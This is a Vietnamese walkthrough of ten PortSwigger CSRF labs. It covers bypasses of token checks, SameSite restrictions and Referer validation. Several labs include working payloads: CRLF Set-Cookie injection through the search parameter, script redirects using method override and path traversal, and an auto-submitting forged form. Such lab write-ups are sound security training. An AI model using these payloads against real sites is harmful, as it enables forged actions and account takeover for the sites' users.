---
# System prepended metadata

title: Cross-site request forgery (CSRF)
tags: [portswigger]

---

# Lab 1: CSRF vulnerability with no defenses
![image](https://hackmd.io/_uploads/ByWu7eStA.png)

Để có thể thực hiện được một cuộc tấn công CSRF, phải có 3 điều kiện chính:
- Có hành động trong ứng dụng
- Xử lý phiên dựa trên cookie
- Không có thông số yêu cầu không thể đoán trước

![image](https://hackmd.io/_uploads/BkUpxXBKA.png)
Đối với lab này:
- Hành động thay đổi email có thể bị tấn công CSRF.
- Sử dụng cookie phiên để xác định người dùng nào đã đưa ra yêu cầu. Không có token hoặc cơ chế nào để theo dõi phiên của người dùng.
- Kẻ tấn công có thể dễ dàng xác định giá trị của các tham số yêu cầu cần thiết để thực hiện hành động.

Với những điều kiện trên, ta sẽ xây dựng một trang web chứa HTML sau bằng `Generate CSRF PoC` trên Burp Suite Pro
![image](https://hackmd.io/_uploads/SkL2bQBKC.png)

Sau đó `Deliver exploit to victim` 
![image](https://hackmd.io/_uploads/SJxclMXHKA.png)
![image](https://hackmd.io/_uploads/SJ6CzXSYA.png)

# Lab 2: CSRF where token validation depends on request method
![image](https://hackmd.io/_uploads/Skrby7LKC.png)

Tại chức năng thay đổi email, lab sử dụng method POST với tham số email kèm theo csrf token (là một giá trị duy nhất, bí mật và không thể đoán trước) để chống tấn công CSRF. 
![image](https://hackmd.io/_uploads/HJvMxm8tC.png)

Tuy nhiên, server chỉ xác thực khi yêu cầu sử dụng method POST nhưng bỏ qua xác thực khi dùng method GET.
![image](https://hackmd.io/_uploads/rkLbe7LtC.png)

Bypass thành công thì upload form HTML lên server
![image](https://hackmd.io/_uploads/H123xXIKA.png)
![image](https://hackmd.io/_uploads/H1isgQUtC.png)

# Lab 3: CSRF where token validation depends on token being present
![image](https://hackmd.io/_uploads/ryRe7QUF0.png)

Lab này sử dụng CSRF token để chống tấn công CSRF
![image](https://hackmd.io/_uploads/SJvxUmUFC.png)

Nếu bỏ qua CSRF token này thì server vẫn xác thực
![image](https://hackmd.io/_uploads/BJU7UXLKA.png)
![image](https://hackmd.io/_uploads/B1cfI7LKR.png)

Tạo form HTML để khai thác
![image](https://hackmd.io/_uploads/SJdMS4UYC.png)

# Lab 4: CSRF where token is not tied to user session
![image](https://hackmd.io/_uploads/SJP7L4LtC.png)

Lab này vẫn sử dụng CSRF token để chống tấn công CSRF nhưng chúng không liên kết với phiên của web, vì khi thay đổi token hoặc session thì request vẫn hoạt động bình thường
![image](https://hackmd.io/_uploads/Hyi924IFA.png)

Dùng token chưa sử dụng của `carlos` để update email cho `wiener` thì vẫn thành công 
![image](https://hackmd.io/_uploads/HJfXU0PtC.png)

![image](https://hackmd.io/_uploads/SyB-8RvFC.png)
![image](https://hackmd.io/_uploads/SyDHLRDYR.png)

Tạo payload bằng CSRF PoC Generator và upload
![image](https://hackmd.io/_uploads/rkUwmPdtR.png)
![image](https://hackmd.io/_uploads/HyWOXD_tC.png)

![image](https://hackmd.io/_uploads/Bk65Qw_Y0.png)

# Lab 5: CSRF where token is tied to non-session cookie
![image](https://hackmd.io/_uploads/SkP2Vw_YR.png)

Khi login thì thấy cookie sử dụng 2 giá trị: `session` và `csrfKey`
![image](https://hackmd.io/_uploads/rkq0eO_t0.png)

Thay đổi giá trị của cookie `session` thì sẽ thoát khỏi phiên đã đăng nhập
![image](https://hackmd.io/_uploads/SkI7-uOK0.png)

Còn khi đổi giá trị `csrfKey` thì sẽ nhận được lỗi 
![image](https://hackmd.io/_uploads/BJYrbOOYA.png)

Tức là dù hệ thống dùng `csrfKey` bảo vệ CSRF nhưng lại không liên kết với session.

Lấy `crsfKey` và `csrf` của `carlos` để thay đổi email cho `wiener` thì vẫn oke
![image](https://hackmd.io/_uploads/HJ33Gu_KC.png)

![image](https://hackmd.io/_uploads/ryNAf_OtR.png)

![image](https://hackmd.io/_uploads/rkak7__FA.png)

Ở chức năng tìm kiếm, từ khóa tìm kiếm sẽ được đưa vào cookie, nên ta sẽ tận dụng chức năng này để đưa `csrfKey` vào cookie
![image](https://hackmd.io/_uploads/rkWmUc_FA.png)

Tạo script để khai thác
```html
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
```
![image](https://hackmd.io/_uploads/HywNL_OY0.png)
![image](https://hackmd.io/_uploads/ByuLIOuFC.png)

# Lab 6: CSRF where token is duplicated in cookie
![image](https://hackmd.io/_uploads/Skxo79utR.png)

Lab này khi thay đổi email thì nhận thấy giá trị cookie `csrfKey` và `csrf` giống nhau. Hệ thống sử dụng "double submit" để chống tấn công CSRF
![image](https://hackmd.io/_uploads/SJ0Y7qOK0.png)

Vì "double submit" sẽ so sánh `csrf` với `csrfKey` nên nếu ta đổi 2 giá trị này bất kỳ thì vẫn thực hiện thành công
![image](https://hackmd.io/_uploads/rJAx45dYC.png)
![image](https://hackmd.io/_uploads/B1IWVc_t0.png)

Ở chức năng tìm kiếm, từ khóa tìm kiếm được trả về trong `Set-Cookie`. Vì chức năng tìm kiếm không có bảo vệ CSRF nên ta sẽ sử dụng để đưa cookie vào trình duyệt của victim.
![image](https://hackmd.io/_uploads/BJzBrc_KR.png)

![image](https://hackmd.io/_uploads/B1aDD9uFA.png)

Tạo mã HTML
```html
<img src="https://0af800a7035cfbf383ab0f31001e001e.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=1234567890%3b%20SameSite=None" onerror="document.forms[0].submit()">
```
![image](https://hackmd.io/_uploads/BJ8s2FoFA.png)
![image](https://hackmd.io/_uploads/rkXnnYsYA.png)

# Lab 7: SameSite Lax bypass via method override
![image](https://hackmd.io/_uploads/r13xXauKC.png)

>Thuộc tính `SameSite` cho biết liệu cookie có được gửi theo yêu cầu bắt nguồn từ miền của bên thứ ba hay không. Nó có 3 trạng thái:
>- Strict: Hạn chế gửi cookie theo yêu cầu của bên thứ ba.
>- Lax: Cho phép gửi cookie với các yêu cầu GET do trang web của bên thứ ba khởi tạo.
>- None: Cho phép gửi cookie từ bất kỳ tên miền của bên thứ ba nào.

Ở chức năng thay đổi email không có bất kỳ token nào, chứng tỏ có thể tấn công CSRF
![image](https://hackmd.io/_uploads/ByN5RnstC.png)

Ở `/login` cookie không được set `SameSite` nên mặc định trình duyệt dùng `SameSite=Lax`
![image](https://hackmd.io/_uploads/ByHjAnjKA.png)

Để bypass ta có thể ghi đè method. Test thử thì nhận được thông báo `Method Not Allowed`
![image](https://hackmd.io/_uploads/H1AggTjKA.png)

Thêm param `_method` để yêu cầu server xử lý theo method truyền vào
![image](https://hackmd.io/_uploads/B1NXeastR.png)

Email đổi thành công
![image](https://hackmd.io/_uploads/S13xZToKC.png)

Payload
```js
<script>
    document.location = "https://0a96004104527cfc88f3d59900830050.web-security-academy.net/my-account/change-email?email=3%40normal-user.net&_method=POST";   
</script>
```
![image](https://hackmd.io/_uploads/r1kEz6iFR.png)

# Lab 8: SameSite Strict bypass via client-side redirect
![image](https://hackmd.io/_uploads/SkNPF_jFR.png)

Ở chức năng thay đổi email không có bất kỳ token nào, chứng tỏ có CSRF vul
![image](https://hackmd.io/_uploads/B1hT1tjFA.png)

Tại `/login` lúc này cookie đã được set thêm thuộc tính `SameSite=Strict`, tức là cookie chỉ được gửi kèm theo các request từ cùng một web đã tạo ra cookie đó
![image](https://hackmd.io/_uploads/ryzlxKsYC.png)

Để khai thác thì ta phải bypass hạn chế của `SameSite`.

Tìm kiếm trên web thì thấy khi comment ta sẽ được chuyển đến `/post/comment/confirmation?postId=9` nhưng sau vài giây, sẽ được đưa trở lại bài đăng trên blog `/post/9`
![image](https://hackmd.io/_uploads/ryO0eFiY0.png)

Tức là giá trị của `postId` sẽ được GET: `/post/[postId]`, thay đổi giá trị này thành 
```url
/post/comment/confirmation?postId=9/../../my-account
``` 
Lúc này web sẽ chuyển hướng đến
```url
/post/9/../../my-account
```
Ta sẽ quay về được `/my-account`

Script bypass SameSite
```js
<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=9/../../my-account";
</script>
```
Sau khi chuyển hướng thành công về `/my-account`, ta sẽ tạo script để chuyển hướng đến `/my-account/change-email` và thay đổi email
```js
<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=9/../../my-account/change-email?email=abcd%40web-security-academy.net%26submit=1";
</script>
```
![image](https://hackmd.io/_uploads/rJC1OFsY0.png)

# Lab 9: CSRF where Referer validation depends on header being present
![image](https://hackmd.io/_uploads/ByXdE_qtC.png)

Tạo mã khai thác tương tự lab trên thì nhận được lỗi `Invalid referer header`
![image](https://hackmd.io/_uploads/HJq6pDstR.png)

Nếu xóa header `Referer` đi thì thay đổi thành công
![image](https://hackmd.io/_uploads/ByfMCvjY0.png)
![image](https://hackmd.io/_uploads/SkqzAPoYC.png)

Bỏ qua xác thực `Referer` bằng cách thêm thẻ
```html
<meta name="referrer" content="never">
```
![image](https://hackmd.io/_uploads/BJq9ediKA.png)
![image](https://hackmd.io/_uploads/ry92lujYA.png)

# Lab 10: CSRF with broken Referer validation
![image](https://hackmd.io/_uploads/rkybV_jF0.png)

Lab này cũng sử dụng header `Referer` để validate
![image](https://hackmd.io/_uploads/BJhGSujYR.png)

Server chỉ kiểm tra `Referer` chứa tên miền của chính nó, nên khi thêm domain name vào URL trong `Referer` cũng truy cập thành công
![image](https://hackmd.io/_uploads/BJb7IuotR.png)

Payload
```html
<html>
  <head><meta name="referrer" content="unsafe-url"></head>
  <body>
    <form action="https://0ad30033044d1c74822539680003009c.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="1&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/0ad30033044d1c74822539680003009c.web-security-academy.net');
      document.forms[0].submit();
    </script>
  </body>
</html>
```
![image](https://hackmd.io/_uploads/S1QqwdsKA.png)
